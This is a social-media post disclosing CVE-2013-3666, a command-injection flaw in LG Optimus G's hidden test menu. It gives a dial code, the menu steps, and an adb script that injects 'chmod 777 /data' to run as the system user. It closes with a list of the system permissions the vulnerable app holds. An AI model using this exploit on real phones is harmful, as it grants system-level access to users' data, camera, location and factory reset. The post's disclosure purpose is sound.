owner

Discussion  - 
 
CVE-2013-3666 - LG Optimus G command injection (as system user) vulnerability

Device: LG Optimus G E973 (Others affected)
Firmware: Android 4.1.2 JZO54k (Others affected)
Evidence: http://youtu.be/ZfbDIpTY-t4

A vulnerability in LG's "HiddenMenu" allows you to execute shell commands as the system, with a large array of additional permissions (Groups). This vulnerability opens up the device to further attacks. Due to the large number of models sharing similar firmware, I have no idea how many devices are affected.


Details:

Dial: 3845#*XXX# ( XXX to be replaced with model number, in this case
3845#*973#)

HiddenMenu will open, select WLAN Test, then select Wi-Fi Ping Test/User
Command, then select User Command.

Replace the tcpdump command with the command you wish to run as system
user

Then press cancel (not ok). The application will execute the command as
system user.


Automated version (chmod 777 /data):
#!/bin/sh
    adb shell ls -l /data
    adb shell input tap 45 1200
    adb shell input tap 700 500
    adb shell input tap 350 800
    adb shell input tap 35 700
    adb shell input tap 350 700
    adb shell input tap 700 1000 
    adb shell input tap 35 1000
    adb shell input tap 700 800
    adb shell input tap 35 800
    adb shell input tap 700 500
    adb shell input tap 700 1000 
    adb shell input tap 700 900
    adb shell input tap 700 900
    adb shell input tap 700 300
    max=46
    count=1
    while [[ $count -le $max ]]
    do
        adb shell input keyevent 67
        ((count++))
    done
    adb shell input text chmod
    adb shell input keyevent 62
    adb shell input text 777
    adb shell input keyevent 62
    adb shell input text "/data"
    adb shell input tap 600 600
    adb shell ls -l /data


Additional permissions granted to vulnerable application:
"android.permission.REBOOT"
"android.permission.WRITE_EXTERNAL_STORAGE"
"android.permission.BLUETOOTH"
"android.permission.BLUETOOTH_ADMIN"
"android.permission.DEVICE_POWER"
"android.permission.WRITE_SETTINGS"
"android.permission.READ_SETTINGS"
"android.permission.READ_CONTACTS"
"android.permission.WRITE_CONTACTS"
"android.permission.HARDWARE_TEST"
"android.permission.VIBRATE"
"android.permission.WRITE_APN_SETTINGS"
"android.permission.ACCESS_WIFI_STATE"
"android.permission.CHANGE_WIFI_STATE"
"android.permission.FLASHLIGHT"
"android.permission.READ_ERS"
"android.permission.WRITE_ERS"
"android.permission.MASTER_CLEAR"
"android.permission.MODIFY_AUDIO_SETTINGS"
"android.permission.ACCESS_COARSE_LOCATION"
"android.permission.ACCESS_FINE_LOCATION"
"android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"
"android.permission.INTERNET"
"android.permission.BLUETOOTH"
"android.permission.BLUETOOTH_ADMIN"
"com.lge.permission.LGSystemDB_READ"
"com.lge.permission.LGSystemDB_WRITE"
"android.permission.MOUNT_UNMOUNT_FILESYSTEMS"
"android.permission.ACCESS_LGDRM"
"android.permission.DISABLE_KEYGUARD"
"android.permission.CAMERA"
"android.permission.WAKE_LOCK"
"android.permission.WRITE_SETTINGS"
"android.permission.VIBRATE"
"android.permission.ACCESS_FINE_LOCATION"
"android.permission.WRITE_EXTERNAL_STORAGE"
"android.permission.CAMERA"
"android.permission.RECORD_AUDIO"
"android.permission.DISABLE_KEYGUARD"
"android.permission.MODIFY_AUDIO_SETTINGS"
"android.permission.WRITE_SETTINGS"
"android.permission.WAKE_LOCK"
"android.permission.SET_TIME"
"com.android.providers.syncml.permission.READ_SYNCML_PROFILE"
"com.android.providers.syncml.permission.WRITE_SYNCML_PROFILE"
"com.lge.permission.FACTORY"
"com.lge.permission.ACCESS_LGFOTA"
"android.permission.ACCESS_CACHE_FILESYSTEM"
"com.lge.permission.WV_PROVISION"
"com.lge.permission.PR_PROVISION"
"android.permission.READ_EXTERNAL_STORAGE"
"android.permission.CHANGE_NETWORK_STATE"
"com.lge.permission.LGHIDDEN"
9
Adam Lange's profile photoJustin Case's profile photoCedric Halbronn's profile photo
3 comments
 
Funny one Justin :)

I tried it on the LG Optimus L7 (P700) with Android 4.0.3.

Replacing model number with "700", I have access to the hidden menu, containing "WLAN Test". However, no "Wi-Fi Ping Test/User Command" is here. There may be many reasons for that, including old version 4.0.3 instead of 4.1.2 Justin tested.
Add a comment...